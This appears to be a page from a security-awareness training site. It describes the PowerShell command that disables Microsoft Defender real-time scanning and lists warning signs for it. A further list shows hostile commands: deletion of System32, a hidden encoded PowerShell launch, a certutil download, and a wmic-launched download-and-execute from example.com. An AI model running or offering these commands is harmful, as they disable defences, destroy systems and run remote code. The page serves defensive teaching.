Dangerous
Set-MpPreference -DisableRealtimeMonitoring $truewindows · powershell · Intermediate
Turns off Microsoft Defender's real-time scanning. It is a single supported configuration cmdlet with no alarming punctuation, and it is almost always the step that precedes dropping something the scanner would have caught.
Signals to notice
- Disables endpoint protection
- Legitimate cmdlet used to weaken defences
- No file or network activity to notice
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedpowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedcertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpertwmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare